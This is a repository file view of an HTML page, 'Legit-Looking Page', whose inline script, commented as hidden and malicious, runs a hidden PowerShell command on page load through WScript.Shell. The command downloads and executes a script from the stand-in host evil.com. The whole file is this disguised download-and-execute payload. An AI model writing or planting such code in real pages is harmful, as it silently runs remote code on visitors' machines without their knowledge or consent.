-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
24 lines (24 loc) · 837 Bytes
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html>
<head>
<title>Legit-Looking Page</title>
</head>
<body>
<h1>Welcome to Our Totally Safe Site!</h1>
<!-- Hidden malicious script -->
<script>
// Obfuscated to avoid immediate suspicion
(function() {
// Create a hidden PowerShell command
var cmd = 'powershell -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString(\'http://evil.com/payload.ps1\')"';
// Use a subtle method to execute it (Windows-specific)
try {
var wsh = new ActiveXObject('WScript.Shell'); // Old but still works on some systems
wsh.Run(cmd, 0, false); // 0 = hidden, false = don't wait
} catch (e) {
// Fallback or silent fail
}
})();
</script>
</body>
</html>